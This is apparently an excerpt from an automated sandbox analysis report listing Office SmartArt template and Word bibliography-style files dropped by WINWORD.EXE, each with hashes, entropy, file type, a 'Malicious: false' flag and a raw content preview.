SHA1:	C7F8E54A63EB254C194A23137F269185E07F9D10
SHA-256:	6534D4D7EF31B967DD0A20AFFF092F8B93D3C0EFCBF19D06833F223A65C6E7C4
SHA-512:	88AB7263B7A8D7DDE1225AE588842E07DF3CE7A07CBD937B7E26DA7DA7CFED23F9C12730D9EF4BC1ACF26506A2A96E07875A1A40C2AD55AD1791371EE674A09B
Malicious:	false
Preview:	PK.........a9;lq.ri...#.......diagrams/layout1.xmlz........WKn.0.];.`..J..AP...4E..!..hi$..I......z..D.d;...m.d...f.3o.._....9'.P.I1.F.C...d.D:.........Q..Z..5$..BO...e..(.9..2..+.Tsjp.. Vt.f.<...gA.h...8...>..p4..T...9.c...'.G.;.@.;xKE.A.uX.....1Q...>...B...!T.%.* ...0.....&......(.R.u..BW.yF.Grs...)..$..p^.s.c._..F4.. .<%.BD..E....x... ..@...v.7f.Y......N.\|.qW'..m..........im.?.64w..h...UI...J....;.0..[....G..\...?:.7.0.fGK.C.o^....j4............p...w:...V....cR..i...I...J=...%. &..#..[M....YG...u...I)F.l>.j.....f..6.....2.]..$7.....Fr..o.0...l&..6U...M..........%..47.a.[..s........[..r....Q./}.-.(.\..#. ..y`...a2......UA.$K.nQ:e!bB.H.-Q-a.$La.%.Z!...6L...@...j.5.....b..S.\c..u...R..dXWS.R.8"....o[..V...s0W..8:...U.#5..hK....ge.Q0$>...k.<...YA.g..o5...3.....~re.....>....:..$.~........pu ._Q..\|Z...r...E.X......U....f)s^.?...%......459..XtL:M.).....x..n9..h...c...PK........Ho9<"..%...........diagrams/layoutHeader1.xmlMP.N.0.>oOa.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328972[[fn=Tab List]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	4888
Entropy (8bit):	7.8636569313247335
Encrypted:	false
SSDEEP:	96:StrFZ23/juILHPzms5UTuK9CuZGEoEuZ28H1HiGa2RnnLY+tUb:SPZQ7uCHPzms5UTlqauZVHdJRnLY+tUb
MD5:	0A4CA91036DC4F3CD8B6DBF18094CF25
SHA1:	6C7EED2530CD0032E9EEAB589AFBC296D106FBB9
SHA-256:	E5A56CCB3B3898F76ABF909209BFAB401B5DDCD88289AD43CE96B02989747E50
SHA-512:	7C69426F2250E8C84368E8056613C22977630A4B3F5B817FB5EA69081CE2A3CA6E5F93DF769264253D5411419AF73467A27F0BB61291CCDE67D931BD0689CB66
Malicious:	false
Preview:	PK.........e.>.......]>......diagrams/layout1.xmlz........Z..6....;..{......lw.E.o....i..T....&...G.+...$..(.6..>Y.pf8C.\|3.?..m....xA8v.`.hW..@..Zn..(kb..(.......`.+....Y`...\..qh.0.!&w..)\|...<..]Q.. _....m..Z.{3..~..5..R..d..A.O....gU.M..0..#...;.>$...T......T..z.Z.\a.+...?#.~.....1.>?.....DD.1...'..,..(...5B...M..]..>.C..<[....,L.p..Q.v.v^q.Y...5.~^c..5........3.j.......BgJ.nv.. ............tt......Q..p..K....(M.(]@..E..~z.~...8...49.t.Q..Q.n..+.....J.#J.... .P...P.1...!.#&...?A..&.."..\|..D.I...:.....~/.....b..].........nI7.IC.a..%...9.....4...r....b..q....@o........O...y...d@+~.<.\....f.a`:...Qy/^..P....[....@i.I.._.?.X.x.8....)..s....I.0...\|.....t...;...q=k.=..N.%!.(.1....B.Ps/."...#.%..&...j<..2x.=<.......s.....h..?..]?Y?...C.}E.O........{..6.d....I...A.....JN..w+....2..m>9.T7...t.6.}.i..f.Ga..t.].->...8U......G.D`......p..f.. ...qT.YX.t.F..X.u=.3r...4....4Q.D..l.6.+PR...+..T..h: H.&.1~....n.....)........2J.. O.W+vd..f....0.....6..9QhV..

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328975[[fn=Theme Picture Accent]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	6448
Entropy (8bit):	7.897260397307811
Encrypted:	false
SSDEEP:	192:tgaoRbo1sMjb0NiJ85oPtqcS+yaXWoa8XBzdJYnLYFtWT7:LR1sk+i4o1qc1yaukzd8MK
MD5:	42A840DC06727E42D42C352703EC72AA
SHA1:	21AAAF517AFB76BF1AF4E06134786B1716241D29
SHA-256:	02CCE7D526F844F70093AC41731D1A1E9B040905DCBA63BA8BFFC0DBD4D3A7A7
SHA-512:	8886BFD240D070237317352DEB3D46C6B07E392EBD57730B1DED016BD8740E75B9965F7A3FCD43796864F32AAE0BE911AB1A670E9CCC70E0774F64B1BDA93488
Malicious:	false
Preview:	PK.........k.>........'......diagrams/layout1.xmlz........].r.8.}.V.?p.n....g5..JUn.....(SU......T.l.......X.d."m."..S....F..P.........-..<Y^..=..e.L....m>.pG.....M~...+\....u}o...".Yn}Y.".-r......0...'/........{........F.~.M8.d....(.....q.D.....4\.;.D,.\.)n.S....Z.cl.\|<..7._.dk..7..E.......kS...d.....i.....noX...o.W#9..}.^..I0....G.......+.K.[i.O.\|G..8=.;.8.8.8.8.....{..-..^.y..[.....`...0..f...Q<^~...l....{...pA.z.$.$R.../...E.(..Q.(V.E_ ......X]Q..Y9.......>...8......l..--.ug.......I.;..].u.b.3Lv:.d.%H..l<...V...$.M..A>...^M./.[..I....o~,.U. .$d\..?........O.;..^M..O...A.$Yx..\|f.n...H.=.\|!cG)dd%..(... ..Xe......2B."i...n....P.R..E?... Y.I6...7n..Xs..J..K..'..JaU..d..\|.(y.a.....d......D.Dr...._.._..m..Yu..6.o.\......&.m....wy...4k?..~........f....0.. \...}iS.i..R....q-#_..g........{Z.u.V.r(....j.I...,R..f.=.n.[.'..L'd.n C.0.I.....RpaV........c.k..NR....)B^k...d.i...d0.E. ^..G.']....x.c.>'..p...y.ny.P.x6..%.J\.....De.B\.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328983[[fn=Theme Picture Alternating Accent]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	5630
Entropy (8bit):	7.87271654296772
Encrypted:	false
SSDEEP:	96:n5ni6jKZWsD+QJaUQ7R6qYFF5QS+BEgeJam6S7ZCHuKViGa2CnnLYLt/ht:nccqxIBdQ1QS+uDJanS7ZCHHVdJCnLY5
MD5:	2F8998AA9CF348F1D6DE16EAB2D92070
SHA1:	85B13499937B4A584BEA0BFE60475FD4C73391B6
SHA-256:	8A216D16DEC44E02B9AB9BBADF8A11F97210D8B73277B22562A502550658E580
SHA-512:	F10F7772985EDDA442B9558127F1959FF0A9909C7B7470E62D74948428BFFF7E278739209E8626AE5917FF728AFB8619AE137BEE2A6A4F40662122208A41ABB2
Malicious:	false
Preview:	PK...........<..W8...j.......diagrams/layout1.xmlz........]......Hy..{...n .l.:.D.vvW..s....-a..fg&.}.\..+......4M..'=...(._.U]U......_.....U...k}.y.,......C..._^.......w/."7....v..Ea........Q..u..D{..{v.x.]....AtB15u..o...w..o.1...f.L...I<[zk7..7^..,.h.&l3...#..)..'H..d.r.#w=b...Ocw.y.&.v..t.>.s..m^M7..8I?o7................H...b....Qv.;'..%.f..#vR....V.H.),g..`...)(..m...[l...b...,.....U...Q.{.y.y.....G.I.tT.n..N.....A.tR..tr....i.<.......,.n:.#.A..a!X.......DK..;v..._M..lSc../n...v.....}.....I.\|8.!b.C..v..\|.....4l..n.;<9.i./..}!&2.c/.r...>.X02[..\|.a.-.....$#-....>...{.M].>3.,\o.x....X%;.F.k.)*".I8<.0..#......?.h..-..O.2.B.s..v....{Abd...h0....H..I.. ...%...$1.Fyd..Y....U...S.Y.#.V.....TH(....%..nk.3Y.e.m.-.S..Q...j.Ai..E..v......4.t.\|..&"...{..4.!.h.....C.P.....W...d[.....U<Yb;B.+W.!.@B....!.=......b"...Y.N;.#..Q...0G.lW...]7:...#9!z......\|f..r..x.....t........`.uL1u.:.....U.D.n.<Q.[%...ngC./..\|...!..q;;.w.".D..lt.".l.4".mt...E..mt

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328986[[fn=Theme Picture Grid]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	6193
Entropy (8bit):	7.855499268199703
Encrypted:	false
SSDEEP:	192:WavHMKgnU2HUGFhUnkbOKoztj1QfcnLYut3d8:YKeUlGXUnC+HQSMp
MD5:	031C246FFE0E2B623BBBD231E414E0D2
SHA1:	A57CA6134779D54691A4EFD344BC6948E253E0BA
SHA-256:	2D76C8D1D59EDB40D1FBBC6406A06577400582D1659A544269500479B6753CF7
SHA-512:	6A784C28E12C3740300883A0E690F560072A3EA8199977CBD7F260A21E8346B82BA8A4F78394D3BB53FA2E98564B764C2D0232C40B25FB6085C36D20D70A39D1
Malicious:	false
Preview:	PK........X..<..Zn\|...........diagrams/layout1.xmlz........]..H.}......M,l#g.j:.G-eu.S=.$......T_6..I...6...d.NJ....r.p.p.........\|.z.K.M..L.T.(........<..ks.......o...t}...P...7...`.+.[...H..._..X.u.....N....n....n\|..=.....K.:.G7.u....."g.n.h...O.,...c...f.b.P......>[l.....j..?..mxk..n..\|A...,\o..j..wQ.....lw.~].Lh..{3Y..D..5.Y..n..Mh.r..J....6.<.kO...Alv.._.qdKQ.5...-FMN......;.~..._..pv..&...%"Nz].n............vM.`..k..a.:.f]...a........y.....g0..`........\|V...Yq.....#...8....n..i7w<2Rp...R.@.]..%.b%..~...a..<.j...&....?...Qp..Ow\|&4>...d.O.\|.\|...Fk;t.P[A..i.6K.~...Y.N..9......~<Q..f...i.....6..U...l. ..E..4$Lw..p..Y%NR..;...B\|B.U...\e......S...=...B{A.]..*....5Q.....FI..w....q.s{.K....(.]...HJ9........(.....[U\|.....d71.Vv.....a.8...L.....k;1%.T.@+..uv.~v.]`.V....Z.....`.M.@..Z\|.r........./C..Z.n0.....@.YQ.8..q.h.....c.%...p..<..zl.c..FS.D..fY..z..=O..%L..MU..c.:.~.....F]c......5.=.8.r...0....Y.\o.o....U.~n...`...Wk..2b......I~

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328990[[fn=Varying Width List]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3075
Entropy (8bit):	7.716021191059687
Encrypted:	false
SSDEEP:	48:96yn4sOBoygpySCCxwKsZCB2oLEIK+aQpUNLRQWtmMamIZxAwCC2QnyODhVOzP4:l0vCxJsZQ2ofpKvtmMdIZxAwJyODhVOE
MD5:	67766FF48AF205B771B53AA2FA82B4F4
SHA1:	0964F8B9DC737E954E16984A585BDC37CE143D84
SHA-256:	160D05B4CB42E1200B859A2DE00770A5C9EBC736B70034AFC832A475372A1667
SHA-512:	AC28B0B4A9178E9B424E5893870913D80F4EE03D595F587AA1D3ACC68194153BAFC29436ADFD6EA8992F0B00D17A43CFB42C529829090AF32C3BE591BD41776D
Malicious:	false
Preview:	PK.........nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK.........nB;O.......k......._rels/.rels...J.@.._e..4...i/.,x..Lw'....v'.<....WpQ..,......7?....u.y..;bL../..3t.+.t.G....Y.v8.eG.MH,....(\..d..R....t>Z.<F-..G.(..\.x...l?..M..:#........2.#.[..H7..#g{...._j...(.....q......;.5'..Nt..."...A.h........>....\.'...L..D..DU<.....C.TKu.5Tu....bV..;PK.........C26.b..............diagrams/layout1.xml.T.n. .}N....).je./m.+u....`{..0P......p..U}c.9g..3....=h.(.."..D-.&....~.....y..I...(r.aJ.Y..e..;.YH...P.{b......hz.-..>k.i5..z>.l...f...c..Y...7.ND...=.%..1...Y.-.o.=)(1g.{.".E.>2.=...]Y..r0.Q...e.E.QKal,.....{f...r..9-.mH..C..\.w....c.4.JUbx.p Q...R......_...G.F...uPR...\|um.+g..?..C..gT...7.0.8l$.*.=qx.......-8..8.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\SmartArt Graphics\1033\TM03328998[[fn=Rings]].glox (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5151
Entropy (8bit):	7.859615916913808
Encrypted:	false
SSDEEP:	96:WkV3UHhcZDEteEJqeSGzpG43GUR8m8b6dDLiCTfjKPnD6H5RhfuDKNtxx3+7tDLp:Wq3UBc9EJqIpGgD5dDL1DjKvDKhfnNti
MD5:	6C24ED9C7C868DB0D55492BB126EAFF8
SHA1:	C6D96D4D298573B70CF5C714151CF87532535888
SHA-256:	48AF17267AD75C142EFA7AB7525CA48FAB579592339FB93E92C4C4DA577D4C9F
SHA-512:	A3E9DC48C04DC8571289F57AE790CA4E6934FBEA4FDDC20CB780F7EA469FE1FC1D480A1DBB04D15301EF061DA5700FF0A793EB67D2811C525FEF618B997BCABD
Malicious:	false
Preview:	PK.........nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........5nB;.ndX....`......._rels/.rels...J.1.._%..f.J.J..x..AJ.2M&......g..#............\|.c..x{_._..^0e.\|.gU..z.....#.._..[..JG.m.....(...e..r."....P)....3..M].E:..SO.;D..c..J..rt...c.,.....a.;.....$.../5..D.Ue.g...Q3......5.':...@...~t{.v..QA>.P.R.A~..^AR.S4G......].n...x41....PK.........^5..s.V....Z......diagrams/layout1.xml.[]o.F.}N~..S.......VU.U+m6R........&.d.}...{M....Q.S....p9.'./O..z."..t>q....."[..j>y..?...u....[.}..j-...?Y..Bdy.I./.....0.._.....-.s...rj...I..=..<..9.\|>YK.....o.\|.my.F.LlB..be/E.Y!.$6r.f/.p%.......U....e..W.R..fK....`+?.rwX.[.b..\|..O>o.\|.....>1.......trN`7g..Oi.@5..^...]4.r...-y...T.h...[.j1..v....G..........nS..m..E"L...s

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851216[[fn=apasixtheditionofficeonline]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	333258
Entropy (8bit):	4.654450340871081
Encrypted:	false
SSDEEP:	6144:ybW83Zb181+MKHZR5D7H3hgtfL/8mIDbEhPv9FHSVsioWUyGYmwxAw+GIfnUNv5J:i
MD5:	5632C4A81D2193986ACD29EADF1A2177
SHA1:	E8FF4FDFEB0002786FCE1CF8F3D25F8E9631E346
SHA-256:	06DE709513D7976690B3DD8F5FDF1E59CF456A2DFBA952B97EACC72FE47B238B
SHA-512:	676CE1957A374E0F36634AA9CFFBCFB1E1BEFE1B31EE876483B10763EA9B2D703F2F3782B642A5D7D0945C5149B572751EBD9ABB47982864834EF61E3427C796
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.. <xsl:output method="html" encoding="us-ascii"/>.... <xsl:template match="*" mode="outputHtml2">.. <xsl:apply-templates mode="outputHtml"/>.. </xsl:template>.... <xsl:template name="StringFormatDot">.. <xsl:param name="format" />.. <xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.. <xsl:when test="$format = ''"></xsl:when>.. <xsl:when test="substring($format, 1, 2) = '%%'">.. <xsl:text>%</xsl:text>.. <xsl:call-template name="StringFormatDot">.. <xsl:with-param name="format" select="substring($format, 3)" />.. <xsl:with-param name=

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851217[[fn=chicago]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	296658
Entropy (8bit):	5.000002997029767
Encrypted:	false
SSDEEP:	6144:RwprAMk0qvtfL/vF/bkWPz9yv7EOMBPitjASjTQQr7IwR0TnyDkJb78plJwf33iV:M
MD5:	9AC6DE7B629A4A802A41F93DB2C49747
SHA1:	3D6E929AA1330C869D83F2BF8EBEBACD197FB367
SHA-256:	52984BC716569120D57C8E6A360376E9934F00CF31447F5892514DDCCF546293
SHA-512:	5736F14569E0341AFB5576C94B0A7F87E42499CEC5927AAC83BB5A1F77B279C00AEA86B5F341E4215076D800F085D831F34E4425AD9CFD52C7AE4282864B1E73
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851218[[fn=gb]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	268317
Entropy (8bit):	5.05419861997223
Encrypted:	false
SSDEEP:	6144:JwprAJLR95vtfb8p4bgWPzDCvCmvQursq7vImej/yQzSS1apSiQhHDOruvoVeMUh:N9
MD5:	51D32EE5BC7AB811041F799652D26E04
SHA1:	412193006AA3EF19E0A57E16ACF86B830993024A
SHA-256:	6230814BF5B2D554397580613E20681752240AB87FD354ECECF188C1EABE0E97
SHA-512:	5FC5D889B0C8E5EF464B76F0C4C9E61BDA59B2D1205AC9417CC74D6E9F989FB73D78B4EB3044A1A1E1F2C00CE1CA1BD6D4D07EEADC4108C7B124867711C31810
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851219[[fn=gostname]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	255948
Entropy (8bit):	5.103631650117028
Encrypted:	false
SSDEEP:	6144:gwprAm795vtfb8p4bgWPWEtTmtcRCDPThNPFQwB+26RxlsIBkAgRMBHcTCwsHe5a:kW
MD5:	9888A214D362470A6189DEFF775BE139
SHA1:	32B552EB3C73CD7D0D9D924C96B27A86753E0F97
SHA-256:	C64ED5C2A323C00E84272AD3A701CAEBE1DCCEB67231978DE978042F09635FA7
SHA-512:	8A75FC2713003FA40B9730D29C786C76A796F30E6ACE12064468DD2BB4BF97EF26AC43FFE1158AB1DB06FF715D2E6CDE8EF3E8B7C49AA1341603CE122F311073
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>............<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select=

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851220[[fn=gosttitle]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	251032
Entropy (8bit):	5.102652100491927
Encrypted:	false
SSDEEP:	6144:hwprA5R95vtfb8p4bgWPwW6/m26AnV9IBgIkqm6HITUZJcjUZS1XkaNPQTlvB2zr:JA
MD5:	F425D8C274A8571B625EE66A8CE60287
SHA1:	29899E309C56F2517C7D9385ECDBB719B9E2A12B
SHA-256:	DD7B7878427276AF5DBF8355ECE0D1FE5D693DF55AF3F79347F9D20AE50DB938
SHA-512:	E567F283D903FA533977B30FD753AA1043B9DDE48A251A9AC6777A3B67667443FEAD0003765A630D0F840B6C275818D2F903B6CB56136BEDCC6D9BDD20776564
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851221[[fn=harvardanglia2008officeonline]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	284415
Entropy (8bit):	5.00549404077789
Encrypted:	false
SSDEEP:	6144:N9G5o7Fv0ZcxrStAtXWty8zRLYBQd8itHiYYPVJHMSo27hlwNR57johqBXlwNR2b:y
MD5:	33A829B4893044E1851725F4DAF20271
SHA1:	DAC368749004C255FB0777E79F6E4426E12E5EC8
SHA-256:	C40451CADF8944A9625DD690624EA1BA19CECB825A67081E8144AD5526116924
SHA-512:	41C1F65E818C2757E1A37F5255E98F6EDEAC4214F9D189AD09C6F7A51F036768C1A03D6CFD5845A42C455EE189D13BB795673ACE3B50F3E1D77DAFF400F4D708
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt"......xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.....<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="/">....<xsl:call-template name="Start"/>...</xsl:template>.....<xsl:template name="Start">....<xsl:choose>.....<xsl:when test="b:Version">......<xsl:text>2010.2.02</xsl:text>.....</xsl:when>.......<xsl:when test="b:XslVersion">......<xsl:text>2008</xsl:text>.....</xsl:when>.... <xsl:when test="b:StyleNameLocalized">.. <xsl:choose>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1033'">.. <xsl:text>Harvard - Anglia</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1025'">.. <xsl:text>Harvard - Anglia</xsl:text>.. </xsl:when>.. <x

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851222[[fn=ieee2006officeonline]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	294178
Entropy (8bit):	4.977758311135714
Encrypted:	false
SSDEEP:	6144:ydkJ3yU0orh0SCLVXyMFsoiOjWIm4vW2uo4hfhf7v3uH4NYYP4BpBaZTTSSamEUD:b
MD5:	0C9731C90DD24ED5CA6AE283741078D0
SHA1:	BDD3D7E5B0DE9240805EA53EF2EB784A4A121064
SHA-256:	ABCE25D1EB3E70742EC278F35E4157EDB1D457A7F9D002AC658AAA6EA4E4DCDF
SHA-512:	A39E6201D6B34F37C686D9BD144DDD38AE212EDA26E3B81B06F1776891A90D84B65F2ABC5B8F546A7EFF3A62D35E432AF0254E2F5BFE4AA3E0CF9530D25949C0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt"......xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.....<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="/">....<xsl:call-template name="Start"/>...</xsl:template>.....<xsl:template name="Start">....<xsl:choose>.....<xsl:when test="b:Version">......<xsl:text>2010.2.02</xsl:text>.....</xsl:when>.......<xsl:when test="b:XslVersion">......<xsl:text>2006</xsl:text>.....</xsl:when>.. <xsl:when test="b:StyleNameLocalized">.. <xsl:choose>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1033'">.. <xsl:text>IEEE</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1025'">.. <xsl:text>IEEE</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameL

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851223[[fn=iso690]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	270198
Entropy (8bit):	5.073814698282113
Encrypted:	false
SSDEEP:	6144:JwprAiaR95vtfb8pDbgWPzDCvCmvQursq7vImej/yQ4SS1apSiQhHDOruvoVeMUX:We
MD5:	FF0E07EFF1333CDF9FC2523D323DD654
SHA1:	77A1AE0DD8DBC3FEE65DD6266F31E2A564D088A4
SHA-256:	3F925E0CC1542F09DE1F99060899EAFB0042BB9682507C907173C392115A44B5
SHA-512:	B4615F995FAB87661C2DBE46625AA982215D7BDE27CAFAE221DCA76087FE76DA4B4A381943436FCAC1577CB3D260D0050B32B7B93E3EB07912494429F126BB3D
Malicious:	false
